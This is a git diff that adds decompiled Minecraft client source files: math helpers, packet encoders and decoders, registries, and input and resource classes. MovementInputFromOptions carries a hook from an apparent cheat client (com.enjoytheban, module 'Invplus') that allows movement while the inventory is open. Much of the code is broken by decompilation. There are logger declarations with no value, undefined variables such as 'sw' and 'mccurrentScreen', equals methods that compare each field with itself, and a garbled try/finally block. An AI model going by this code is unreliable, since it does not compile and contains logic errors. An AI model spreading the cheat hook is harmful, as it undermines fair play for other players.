+    var3 = (var3 << 8) + p_180181_2_;
+    return var3;
+  }
+  
+  public static int func_180188_d(int p_180188_0_, int p_180188_1_)
+  {
+    int var2 = (p_180188_0_ & 0xFF0000) >> 16;
+    int var3 = (p_180188_1_ & 0xFF0000) >> 16;
+    int var4 = (p_180188_0_ & 0xFF00) >> 8;
+    int var5 = (p_180188_1_ & 0xFF00) >> 8;
+    int var6 = (p_180188_0_ & 0xFF) >> 0;
+    int var7 = (p_180188_1_ & 0xFF) >> 0;
+    int var8 = (int)(var2 * var3 / 255.0F);
+    int var9 = (int)(var4 * var5 / 255.0F);
+    int var10 = (int)(var6 * var7 / 255.0F);
+    return p_180188_0_ & 0xFF000000 | var8 << 16 | var9 << 8 | var10;
+  }
+  
+  public static long func_180186_a(Vec3i pos)
+  {
+    return func_180187_c(pos.getX(), pos.getY(), pos.getZ());
+  }
+  
+  public static long func_180187_c(int x, int y, int z)
+  {
+    long var3 = x * 3129871 ^ z * 116129781L ^ y;
+    var3 = var3 * var3 * 42317861L + var3 * 11L;
+    return var3;
+  }
+  
+  public static UUID func_180182_a(Random p_180182_0_)
+  {
+    long var1 = p_180182_0_.nextLong() & 0xFFFFFFFFFFFF0FFF | 0x4000;
+    long var3 = p_180182_0_.nextLong() & 0x3FFFFFFFFFFFFFFF | 0x8000000000000000;
+    return new UUID(var1, var3);
+  }
+  
+
+
+  static
+  {
+    for (int i = 0; i < 65536; i++)
+    {
+      SIN_TABLE[i] = ((float)Math.sin(i * 3.141592653589793D * 2.0D / 65536.0D));
+    }
+    
+    multiplyDeBruijnBitPosition = new int[] { 0, 1, 28, 2, 29, 14, 24, 3, 30, 22, 20, 15, 25, 17, 4, 8, 31, 27, 13, 23, 21, 19, 16, 7, 26, 12, 18, 6, 11, 5, 10, 9 };
+    
+    for (i = 0; i < 4096; i++)
+    {
+      SIN_TABLE_FAST[i] = ((float)Math.sin((i + 0.5F) / 4096.0F * 6.2831855F));
+    }
+    
+    for (i = 0; i < 360; i += 90)
+    {
+      SIN_TABLE_FAST[((int)(i * 11.377778F) & 0xFFF)] = ((float)Math.sin(i * 0.017453292F));
+    }
+  }
+  
+  public MathHelper() {}
+}
diff --git a/src/minecraft/net/minecraft/util/MessageDeserializer.java b/src/minecraft/net/minecraft/util/MessageDeserializer.java
new file mode 100644
index 0000000..75b7fa5
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/MessageDeserializer.java
@@ -0,0 +1,60 @@
+package net.minecraft.util;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.Attribute;
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.network.EnumConnectionState;
+import net.minecraft.network.EnumPacketDirection;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.apache.logging.log4j.MarkerManager;
+
+public class MessageDeserializer extends io.netty.handler.codec.ByteToMessageDecoder
+{
+  private static final Logger logger = ;
+  private static final org.apache.logging.log4j.Marker RECEIVED_PACKET_MARKER = MarkerManager.getMarker("PACKET_RECEIVED", NetworkManager.logMarkerPackets);
+  private final EnumPacketDirection direction;
+  private static final String __OBFID = "CL_00001252";
+  
+  public MessageDeserializer(EnumPacketDirection direction)
+  {
+    this.direction = direction;
+  }
+  
+  protected void decode(ChannelHandlerContext p_decode_1_, ByteBuf p_decode_2_, List p_decode_3_) throws IOException, InstantiationException, IllegalAccessException
+  {
+    if (p_decode_2_.readableBytes() != 0)
+    {
+      PacketBuffer var4 = new PacketBuffer(p_decode_2_);
+      int var5 = var4.readVarIntFromBuffer();
+      Packet var6 = ((EnumConnectionState)p_decode_1_.channel().attr(NetworkManager.attrKeyConnectionState).get()).getPacket(direction, var5);
+      
+      if (var6 == null)
+      {
+        throw new IOException("Bad packet id " + var5);
+      }
+      
+
+      var6.readPacketData(var4);
+      
+      if (var4.readableBytes() > 0)
+      {
+        throw new IOException("Packet " + ((EnumConnectionState)p_decode_1_.channel().attr(NetworkManager.attrKeyConnectionState).get()).getId() + "/" + var5 + " (" + var6.getClass().getSimpleName() + ") was larger than I expected, found " + var4.readableBytes() + " bytes extra whilst reading packet " + var5);
+      }
+      
+
+      p_decode_3_.add(var6);
+      
+      if (logger.isDebugEnabled())
+      {
+        logger.debug(RECEIVED_PACKET_MARKER, " IN: [{}:{}] {}", new Object[] { p_decode_1_.channel().attr(NetworkManager.attrKeyConnectionState).get(), Integer.valueOf(var5), var6.getClass().getName() });
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/MessageDeserializer2.java b/src/minecraft/net/minecraft/util/MessageDeserializer2.java
new file mode 100644
index 0000000..16fc175
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/MessageDeserializer2.java
@@ -0,0 +1,57 @@
+package net.minecraft.util;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import java.util.List;
+import net.minecraft.network.PacketBuffer;
+
+public class MessageDeserializer2 extends io.netty.handler.codec.ByteToMessageDecoder
+{
+  private static final String __OBFID = "CL_00001255";
+  
+  public MessageDeserializer2() {}
+  
+  protected void decode(ChannelHandlerContext p_decode_1_, ByteBuf p_decode_2_, List p_decode_3_)
+  {
+    p_decode_2_.markReaderIndex();
+    byte[] var4 = new byte[3];
+    
+    for (int var5 = 0; var5 < var4.length; var5++)
+    {
+      if (!p_decode_2_.isReadable())
+      {
+        p_decode_2_.resetReaderIndex();
+        return;
+      }
+      
+      var4[var5] = p_decode_2_.readByte();
+      
+      if (var4[var5] >= 0)
+      {
+        PacketBuffer var6 = new PacketBuffer(Unpooled.wrappedBuffer(var4));
+        
+        try
+        {
+          int var7 = var6.readVarIntFromBuffer();
+          
+          if (p_decode_2_.readableBytes() >= var7)
+          {
+            p_decode_3_.add(p_decode_2_.readBytes(var7));
+            return;
+          }
+          
+
+        }
+        finally
+        {
+          var6.release(); } var6.release();
+        
+
+        return;
+      }
+    }
+    
+    throw new io.netty.handler.codec.CorruptedFrameException("length wider than 21-bit");
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/MessageSerializer.java b/src/minecraft/net/minecraft/util/MessageSerializer.java
new file mode 100644
index 0000000..67f617c
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/MessageSerializer.java
@@ -0,0 +1,68 @@
+package net.minecraft.util;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+import io.netty.util.Attribute;
+import java.io.IOException;
+import net.minecraft.network.EnumConnectionState;
+import net.minecraft.network.EnumPacketDirection;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.server.S0CPacketSpawnPlayer;
+import org.apache.logging.log4j.Logger;
+import org.apache.logging.log4j.MarkerManager;
+
+public class MessageSerializer extends MessageToByteEncoder
+{
+  private static final Logger logger = ;
+  private static final org.apache.logging.log4j.Marker RECEIVED_PACKET_MARKER = MarkerManager.getMarker("PACKET_SENT", NetworkManager.logMarkerPackets);
+  private final EnumPacketDirection direction;
+  private static final String __OBFID = "CL_00001253";
+  
+  public MessageSerializer(EnumPacketDirection direction)
+  {
+    this.direction = direction;
+  }
+  
+  protected void encode(ChannelHandlerContext p_encode_1_, Packet p_encode_2_, ByteBuf p_encode_3_) throws IOException
+  {
+    Integer var4 = ((EnumConnectionState)p_encode_1_.channel().attr(NetworkManager.attrKeyConnectionState).get()).getPacketId(direction, p_encode_2_);
+    
+    if (logger.isDebugEnabled())
+    {
+      logger.debug(RECEIVED_PACKET_MARKER, "OUT: [{}:{}] {}", new Object[] { p_encode_1_.channel().attr(NetworkManager.attrKeyConnectionState).get(), var4, p_encode_2_.getClass().getName() });
+    }
+    
+    if (var4 == null)
+    {
+      throw new IOException("Can't serialize unregistered packet");
+    }
+    
+
+    PacketBuffer var5 = new PacketBuffer(p_encode_3_);
+    var5.writeVarIntToBuffer(var4.intValue());
+    
+    try
+    {
+      if ((p_encode_2_ instanceof S0CPacketSpawnPlayer))
+      {
+        p_encode_2_ = p_encode_2_;
+      }
+      
+      p_encode_2_.writePacketData(var5);
+    }
+    catch (Throwable var7)
+    {
+      logger.error(var7);
+    }
+  }
+  
+  protected void encode(ChannelHandlerContext p_encode_1_, Object p_encode_2_, ByteBuf p_encode_3_)
+    throws IOException
+  {
+    encode(p_encode_1_, (Packet)p_encode_2_, p_encode_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/MessageSerializer2.java b/src/minecraft/net/minecraft/util/MessageSerializer2.java
new file mode 100644
index 0000000..c83490d
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/MessageSerializer2.java
@@ -0,0 +1,34 @@
+package net.minecraft.util;
+
+import io.netty.buffer.ByteBuf;
+import net.minecraft.network.PacketBuffer;
+
+public class MessageSerializer2 extends io.netty.handler.codec.MessageToByteEncoder
+{
+  private static final String __OBFID = "CL_00001256";
+  
+  public MessageSerializer2() {}
+  
+  protected void encode(io.netty.channel.ChannelHandlerContext p_encode_1_, ByteBuf p_encode_2_, ByteBuf p_encode_3_)
+  {
+    int var4 = p_encode_2_.readableBytes();
+    int var5 = PacketBuffer.getVarIntSize(var4);
+    
+    if (var5 > 3)
+    {
+      throw new IllegalArgumentException("unable to fit " + var4 + " into " + 3);
+    }
+    
+
+    PacketBuffer var6 = new PacketBuffer(p_encode_3_);
+    var6.ensureWritable(var5 + var4);
+    var6.writeVarIntToBuffer(var4);
+    var6.writeBytes(p_encode_2_, p_encode_2_.readerIndex(), var4);
+  }
+  
+
+  protected void encode(io.netty.channel.ChannelHandlerContext p_encode_1_, Object p_encode_2_, ByteBuf p_encode_3_)
+  {
+    encode(p_encode_1_, (ByteBuf)p_encode_2_, p_encode_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/MinecraftError.java b/src/minecraft/net/minecraft/util/MinecraftError.java
new file mode 100644
index 0000000..2063f97
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/MinecraftError.java
@@ -0,0 +1,9 @@
+package net.minecraft.util;
+
+public class MinecraftError
+  extends Error
+{
+  private static final String __OBFID = "CL_00000657";
+  
+  public MinecraftError() {}
+}
diff --git a/src/minecraft/net/minecraft/util/MouseFilter.java b/src/minecraft/net/minecraft/util/MouseFilter.java
new file mode 100644
index 0000000..a0e45c6
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/MouseFilter.java
@@ -0,0 +1,34 @@
+package net.minecraft.util;
+
+
+public class MouseFilter
+{
+  private float field_76336_a;
+  private float field_76334_b;
+  private float field_76335_c;
+  private static final String __OBFID = "CL_00001500";
+  
+  public MouseFilter() {}
+  
+  public float smooth(float p_76333_1_, float p_76333_2_)
+  {
+    field_76336_a += p_76333_1_;
+    p_76333_1_ = (field_76336_a - field_76334_b) * p_76333_2_;
+    field_76335_c += (p_76333_1_ - field_76335_c) * 0.5F;
+    
+    if (((p_76333_1_ > 0.0F) && (p_76333_1_ > field_76335_c)) || ((p_76333_1_ < 0.0F) && (p_76333_1_ < field_76335_c)))
+    {
+      p_76333_1_ = field_76335_c;
+    }
+    
+    field_76334_b += p_76333_1_;
+    return p_76333_1_;
+  }
+  
+  public void func_180179_a()
+  {
+    field_76336_a = 0.0F;
+    field_76334_b = 0.0F;
+    field_76335_c = 0.0F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/MouseHelper.java b/src/minecraft/net/minecraft/util/MouseHelper.java
new file mode 100644
index 0000000..b2e3ac7
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/MouseHelper.java
@@ -0,0 +1,39 @@
+package net.minecraft.util;
+
+import org.lwjgl.input.Mouse;
+import org.lwjgl.opengl.Display;
+
+
+
+
+
+public class MouseHelper
+{
+  public int deltaX;
+  public int deltaY;
+  private static final String __OBFID = "CL_00000648";
+  
+  public MouseHelper() {}
+  
+  public void grabMouseCursor()
+  {
+    Mouse.setGrabbed(true);
+    deltaX = 0;
+    deltaY = 0;
+  }
+  
+
+
+
+  public void ungrabMouseCursor()
+  {
+    Mouse.setCursorPosition(Display.getWidth() / 2, Display.getHeight() / 2);
+    Mouse.setGrabbed(false);
+  }
+  
+  public void mouseXYChange()
+  {
+    deltaX = Mouse.getDX();
+    deltaY = Mouse.getDY();
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/MovementInput.java b/src/minecraft/net/minecraft/util/MovementInput.java
new file mode 100644
index 0000000..b4c4376
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/MovementInput.java
@@ -0,0 +1,14 @@
+package net.minecraft.util;
+
+public class MovementInput
+{
+  public float moveStrafe;
+  public float moveForward;
+  public boolean jump;
+  public boolean sneak;
+  private static final String __OBFID = "CL_00000936";
+  
+  public MovementInput() {}
+  
+  public void updatePlayerMoveState() {}
+}
diff --git a/src/minecraft/net/minecraft/util/MovementInputFromOptions.java b/src/minecraft/net/minecraft/util/MovementInputFromOptions.java
new file mode 100644
index 0000000..e428326
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/MovementInputFromOptions.java
@@ -0,0 +1,93 @@
+package net.minecraft.util;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.modules.player.Invplus;
+import com.enjoytheban.utils.Helper;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.KeyBinding;
+import org.lwjgl.input.Keyboard;
+
+public class MovementInputFromOptions extends MovementInput
+{
+  private final GameSettings gameSettings;
+  private static final String __OBFID = "CL_00000937";
+  
+  public MovementInputFromOptions(GameSettings p_i1237_1_)
+  {
+    gameSettings = p_i1237_1_;
+  }
+  
+
+
+
+  public void updatePlayerMoveState()
+  {
+    Invplus inv = (Invplus)Client.instance.getModuleManager().getModuleByClass(Invplus.class);
+    if ((inv.isEnabled()) && (((Boolean)sw.getValue()).booleanValue()) && (!(mccurrentScreen instanceof net.minecraft.client.gui.GuiChat)))
+    {
+      moveStrafe = 0.0F;
+      moveForward = 0.0F;
+      
+      if (Keyboard.isKeyDown(gameSettings.keyBindForward.getKeyCode()))
+      {
+        moveForward += 1.0F;
+      }
+      
+      if (Keyboard.isKeyDown(gameSettings.keyBindBack.getKeyCode()))
+      {
+        moveForward -= 1.0F;
+      }
+      
+      if (Keyboard.isKeyDown(gameSettings.keyBindLeft.getKeyCode()))
+      {
+        moveStrafe += 1.0F;
+      }
+      
+      if (Keyboard.isKeyDown(gameSettings.keyBindRight.getKeyCode()))
+      {
+        moveStrafe -= 1.0F;
+      }
+      
+      jump = Keyboard.isKeyDown(gameSettings.keyBindJump.getKeyCode());
+      sneak = gameSettings.keyBindSneak.getIsKeyPressed();
+      
+      if (sneak)
+      {
+        moveStrafe = ((float)(moveStrafe * 0.3D));
+        moveForward = ((float)(moveForward * 0.3D));
+      }
+    }
+    else
+    {
+      moveStrafe = 0.0F;
+      moveForward = 0.0F;
+      
+      if (gameSettings.keyBindForward.getIsKeyPressed()) {
+        moveForward += 1.0F;
+      }
+      
+      if (gameSettings.keyBindBack.getIsKeyPressed()) {
+        moveForward -= 1.0F;
+      }
+      
+      if (gameSettings.keyBindLeft.getIsKeyPressed()) {
+        moveStrafe += 1.0F;
+      }
+      
+      if (gameSettings.keyBindRight.getIsKeyPressed()) {
+        moveStrafe -= 1.0F;
+      }
+      
+      jump = gameSettings.keyBindJump.getIsKeyPressed();
+      sneak = gameSettings.keyBindSneak.getIsKeyPressed();
+      
+      if (sneak)
+      {
+        moveStrafe = ((float)(moveStrafe * 0.3D));
+        moveForward = ((float)(moveForward * 0.3D));
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/MovingObjectPosition.java b/src/minecraft/net/minecraft/util/MovingObjectPosition.java
new file mode 100644
index 0000000..3d262db
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/MovingObjectPosition.java
@@ -0,0 +1,71 @@
+package net.minecraft.util;
+
+import net.minecraft.entity.Entity;
+
+
+
+
+
+
+
+public class MovingObjectPosition
+{
+  private BlockPos field_178783_e;
+  public MovingObjectType typeOfHit;
+  public EnumFacing field_178784_b;
+  public Vec3 hitVec;
+  public Entity entityHit;
+  private static final String __OBFID = "CL_00000610";
+  
+  public MovingObjectPosition(Vec3 p_i45551_1_, EnumFacing p_i45551_2_, BlockPos p_i45551_3_)
+  {
+    this(MovingObjectType.BLOCK, p_i45551_1_, p_i45551_2_, p_i45551_3_);
+  }
+  
+  public MovingObjectPosition(Vec3 p_i45552_1_, EnumFacing p_i45552_2_)
+  {
+    this(MovingObjectType.BLOCK, p_i45552_1_, p_i45552_2_, BlockPos.ORIGIN);
+  }
+  
+  public MovingObjectPosition(Entity p_i2304_1_)
+  {
+    this(p_i2304_1_, new Vec3(posX, posY, posZ));
+  }
+  
+  public MovingObjectPosition(MovingObjectType p_i45553_1_, Vec3 p_i45553_2_, EnumFacing p_i45553_3_, BlockPos p_i45553_4_)
+  {
+    typeOfHit = p_i45553_1_;
+    field_178783_e = p_i45553_4_;
+    field_178784_b = p_i45553_3_;
+    hitVec = new Vec3(xCoord, yCoord, zCoord);
+  }
+  
+  public MovingObjectPosition(Entity p_i45482_1_, Vec3 p_i45482_2_)
+  {
+    typeOfHit = MovingObjectType.ENTITY;
+    entityHit = p_i45482_1_;
+    hitVec = p_i45482_2_;
+  }
+  
+  public BlockPos func_178782_a()
+  {
+    return field_178783_e;
+  }
+  
+  public String toString()
+  {
+    return "HitResult{type=" + typeOfHit + ", blockpos=" + field_178783_e + ", f=" + field_178784_b + ", pos=" + hitVec + ", entity=" + entityHit + '}';
+  }
+  
+  public static enum MovingObjectType
+  {
+    MISS("MISS", 0), 
+    BLOCK("BLOCK", 1), 
+    ENTITY("ENTITY", 2);
+    
+    private static final MovingObjectType[] $VALUES = { MISS, BLOCK, ENTITY };
+    private static final String __OBFID = "CL_00000611";
+    
+    private MovingObjectType(String p_i2302_1_, int p_i2302_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ObjectIntIdentityMap.java b/src/minecraft/net/minecraft/util/ObjectIntIdentityMap.java
new file mode 100644
index 0000000..a49e646
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ObjectIntIdentityMap.java
@@ -0,0 +1,48 @@
+package net.minecraft.util;
+
+import com.google.common.base.Predicates;
+import com.google.common.collect.Iterators;
+import com.google.common.collect.Lists;
+import java.util.IdentityHashMap;
+import java.util.Iterator;
+import java.util.List;
+
+public class ObjectIntIdentityMap implements IObjectIntIterable
+{
+  private final IdentityHashMap field_148749_a = new IdentityHashMap(512);
+  private final List field_148748_b = Lists.newArrayList();
+  private static final String __OBFID = "CL_00001203";
+  
+  public ObjectIntIdentityMap() {}
+  
+  public void put(Object key, int value) { field_148749_a.put(key, Integer.valueOf(value));
+    
+    while (field_148748_b.size() <= value)
+    {
+      field_148748_b.add(null);
+    }
+    
+    field_148748_b.set(value, key);
+  }
+  
+  public int get(Object key)
+  {
+    Integer var2 = (Integer)field_148749_a.get(key);
+    return var2 == null ? -1 : var2.intValue();
+  }
+  
+  public final Object getByValue(int value)
+  {
+    return (value >= 0) && (value < field_148748_b.size()) ? field_148748_b.get(value) : null;
+  }
+  
+  public Iterator iterator()
+  {
+    return Iterators.filter(field_148748_b.iterator(), Predicates.notNull());
+  }
+  
+  public List getObjectList()
+  {
+    return field_148748_b;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/RegistryDefaulted.java b/src/minecraft/net/minecraft/util/RegistryDefaulted.java
new file mode 100644
index 0000000..b3b3026
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/RegistryDefaulted.java
@@ -0,0 +1,21 @@
+package net.minecraft.util;
+
+
+public class RegistryDefaulted
+  extends RegistrySimple
+{
+  private final Object defaultObject;
+  
+  private static final String __OBFID = "CL_00001198";
+  
+  public RegistryDefaulted(Object p_i1366_1_)
+  {
+    defaultObject = p_i1366_1_;
+  }
+  
+  public Object getObject(Object p_82594_1_)
+  {
+    Object var2 = super.getObject(p_82594_1_);
+    return var2 == null ? defaultObject : var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/RegistryNamespaced.java b/src/minecraft/net/minecraft/util/RegistryNamespaced.java
new file mode 100644
index 0000000..937e608
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/RegistryNamespaced.java
@@ -0,0 +1,75 @@
+package net.minecraft.util;
+
+import com.google.common.collect.BiMap;
+import com.google.common.collect.HashBiMap;
+import java.util.Iterator;
+import java.util.Map;
+
+public class RegistryNamespaced
+  extends RegistrySimple implements IObjectIntIterable
+{
+  protected final ObjectIntIdentityMap underlyingIntegerMap = new ObjectIntIdentityMap();
+  protected final Map field_148758_b;
+  private static final String __OBFID = "CL_00001206";
+  
+  public RegistryNamespaced()
+  {
+    field_148758_b = ((BiMap)registryObjects).inverse();
+  }
+  
+  public void register(int p_177775_1_, Object p_177775_2_, Object p_177775_3_)
+  {
+    underlyingIntegerMap.put(p_177775_3_, p_177775_1_);
+    putObject(p_177775_2_, p_177775_3_);
+  }
+  
+
+
+
+  protected Map createUnderlyingMap()
+  {
+    return HashBiMap.create();
+  }
+  
+  public Object getObject(Object p_82594_1_)
+  {
+    return super.getObject(p_82594_1_);
+  }
+  
+
+
+
+  public Object getNameForObject(Object p_177774_1_)
+  {
+    return field_148758_b.get(p_177774_1_);
+  }
+  
+
+
+
+  public boolean containsKey(Object p_148741_1_)
+  {
+    return super.containsKey(p_148741_1_);
+  }
+  
+
+
+
+  public int getIDForObject(Object p_148757_1_)
+  {
+    return underlyingIntegerMap.get(p_148757_1_);
+  }
+  
+
+
+
+  public Object getObjectById(int p_148754_1_)
+  {
+    return underlyingIntegerMap.getByValue(p_148754_1_);
+  }
+  
+  public Iterator iterator()
+  {
+    return underlyingIntegerMap.iterator();
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/RegistryNamespacedDefaultedByKey.java b/src/minecraft/net/minecraft/util/RegistryNamespacedDefaultedByKey.java
new file mode 100644
index 0000000..dc2a84c
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/RegistryNamespacedDefaultedByKey.java
@@ -0,0 +1,48 @@
+package net.minecraft.util;
+
+import org.apache.commons.lang3.Validate;
+
+public class RegistryNamespacedDefaultedByKey extends RegistryNamespaced
+{
+  private final Object field_148760_d;
+  private Object field_148761_e;
+  private static final String __OBFID = "CL_00001196";
+  
+  public RegistryNamespacedDefaultedByKey(Object p_i46017_1_)
+  {
+    field_148760_d = p_i46017_1_;
+  }
+  
+  public void register(int p_177775_1_, Object p_177775_2_, Object p_177775_3_)
+  {
+    if (field_148760_d.equals(p_177775_2_))
+    {
+      field_148761_e = p_177775_3_;
+    }
+    
+    super.register(p_177775_1_, p_177775_2_, p_177775_3_);
+  }
+  
+
+
+
+  public void validateKey()
+  {
+    Validate.notNull(field_148760_d);
+  }
+  
+  public Object getObject(Object p_82594_1_)
+  {
+    Object var2 = super.getObject(p_82594_1_);
+    return var2 == null ? field_148761_e : var2;
+  }
+  
+
+
+
+  public Object getObjectById(int p_148754_1_)
+  {
+    Object var2 = super.getObjectById(p_148754_1_);
+    return var2 == null ? field_148761_e : var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/RegistrySimple.java b/src/minecraft/net/minecraft/util/RegistrySimple.java
new file mode 100644
index 0000000..0dd4158
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/RegistrySimple.java
@@ -0,0 +1,69 @@
+package net.minecraft.util;
+
+import com.google.common.collect.Maps;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import org.apache.commons.lang3.Validate;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class RegistrySimple implements IRegistry
+{
+  private static final Logger logger = ;
+  
+
+  protected final Map registryObjects = createUnderlyingMap();
+  
+  private static final String __OBFID = "CL_00001210";
+  
+  public RegistrySimple() {}
+  
+  protected Map createUnderlyingMap()
+  {
+    return Maps.newHashMap();
+  }
+  
+  public Object getObject(Object p_82594_1_)
+  {
+    return registryObjects.get(p_82594_1_);
+  }
+  
+
+
+
+  public void putObject(Object p_82595_1_, Object p_82595_2_)
+  {
+    Validate.notNull(p_82595_1_);
+    Validate.notNull(p_82595_2_);
+    
+    if (registryObjects.containsKey(p_82595_1_))
+    {
+      logger.debug("Adding duplicate key '" + p_82595_1_ + "' to registry");
+    }
+    
+    registryObjects.put(p_82595_1_, p_82595_2_);
+  }
+  
+
+
+
+  public Set getKeys()
+  {
+    return java.util.Collections.unmodifiableSet(registryObjects.keySet());
+  }
+  
+
+
+
+  public boolean containsKey(Object p_148741_1_)
+  {
+    return registryObjects.containsKey(p_148741_1_);
+  }
+  
+  public Iterator iterator()
+  {
+    return registryObjects.values().iterator();
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ReportedException.java b/src/minecraft/net/minecraft/util/ReportedException.java
new file mode 100644
index 0000000..1160894
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ReportedException.java
@@ -0,0 +1,33 @@
+package net.minecraft.util;
+
+import net.minecraft.crash.CrashReport;
+
+public class ReportedException
+  extends RuntimeException
+{
+  private final CrashReport theReportedExceptionCrashReport;
+  private static final String __OBFID = "CL_00001579";
+  
+  public ReportedException(CrashReport p_i1356_1_)
+  {
+    theReportedExceptionCrashReport = p_i1356_1_;
+  }
+  
+
+
+
+  public CrashReport getCrashReport()
+  {
+    return theReportedExceptionCrashReport;
+  }
+  
+  public Throwable getCause()
+  {
+    return theReportedExceptionCrashReport.getCrashCause();
+  }
+  
+  public String getMessage()
+  {
+    return theReportedExceptionCrashReport.getDescription();
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ResourceLocation.java b/src/minecraft/net/minecraft/util/ResourceLocation.java
new file mode 100644
index 0000000..16f3230
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ResourceLocation.java
@@ -0,0 +1,82 @@
+package net.minecraft.util;
+
+import org.apache.commons.lang3.StringUtils;
+
+public class ResourceLocation
+{
+  protected final String resourceDomain;
+  protected final String resourcePath;
+  private static final String __OBFID = "CL_00001082";
+  
+  protected ResourceLocation(int p_i45928_1_, String... p_i45928_2_)
+  {
+    resourceDomain = (StringUtils.isEmpty(p_i45928_2_[0]) ? "minecraft" : p_i45928_2_[0].toLowerCase());
+    resourcePath = p_i45928_2_[1];
+    org.apache.commons.lang3.Validate.notNull(resourcePath);
+  }
+  
+  public ResourceLocation(String p_i1293_1_)
+  {
+    this(0, func_177516_a(p_i1293_1_));
+  }
+  
+  public ResourceLocation(String p_i1292_1_, String p_i1292_2_)
+  {
+    this(0, new String[] { p_i1292_1_, p_i1292_2_ });
+  }
+  
+  protected static String[] func_177516_a(String p_177516_0_)
+  {
+    String[] var1 = { 0, p_177516_0_ };
+    int var2 = p_177516_0_.indexOf(':');
+    
+    if (var2 >= 0)
+    {
+      var1[1] = p_177516_0_.substring(var2 + 1, p_177516_0_.length());
+      
+      if (var2 > 1)
+      {
+        var1[0] = p_177516_0_.substring(0, var2);
+      }
+    }
+    
+    return var1;
+  }
+  
+  public String getResourcePath()
+  {
+    return resourcePath;
+  }
+  
+  public String getResourceDomain()
+  {
+    return resourceDomain;
+  }
+  
+  public String toString()
+  {
+    return resourceDomain + ':' + resourcePath;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (!(p_equals_1_ instanceof ResourceLocation))
+    {
+      return false;
+    }
+    
+
+    ResourceLocation var2 = (ResourceLocation)p_equals_1_;
+    return (resourceDomain.equals(resourceDomain)) && (resourcePath.equals(resourcePath));
+  }
+  
+
+  public int hashCode()
+  {
+    return 31 * resourceDomain.hashCode() + resourcePath.hashCode();
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/Rotations.java b/src/minecraft/net/minecraft/util/Rotations.java
new file mode 100644
index 0000000..ce4fb24
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/Rotations.java
@@ -0,0 +1,63 @@
+package net.minecraft.util;
+
+import net.minecraft.nbt.NBTTagFloat;
+import net.minecraft.nbt.NBTTagList;
+
+public class Rotations
+{
+  protected final float field_179419_a;
+  protected final float field_179417_b;
+  protected final float field_179418_c;
+  private static final String __OBFID = "CL_00002316";
+  
+  public Rotations(float p_i46009_1_, float p_i46009_2_, float p_i46009_3_)
+  {
+    field_179419_a = p_i46009_1_;
+    field_179417_b = p_i46009_2_;
+    field_179418_c = p_i46009_3_;
+  }
+  
+  public Rotations(NBTTagList p_i46010_1_)
+  {
+    field_179419_a = p_i46010_1_.getFloat(0);
+    field_179417_b = p_i46010_1_.getFloat(1);
+    field_179418_c = p_i46010_1_.getFloat(2);
+  }
+  
+  public NBTTagList func_179414_a()
+  {
+    NBTTagList var1 = new NBTTagList();
+    var1.appendTag(new NBTTagFloat(field_179419_a));
+    var1.appendTag(new NBTTagFloat(field_179417_b));
+    var1.appendTag(new NBTTagFloat(field_179418_c));
+    return var1;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (!(p_equals_1_ instanceof Rotations))
+    {
+      return false;
+    }
+    
+
+    Rotations var2 = (Rotations)p_equals_1_;
+    return (field_179419_a == field_179419_a) && (field_179417_b == field_179417_b) && (field_179418_c == field_179418_c);
+  }
+  
+
+  public float func_179415_b()
+  {
+    return field_179419_a;
+  }
+  
+  public float func_179416_c()
+  {
+    return field_179417_b;
+  }
+  
+  public float func_179413_d()
+  {
+    return field_179418_c;
+  }
+}
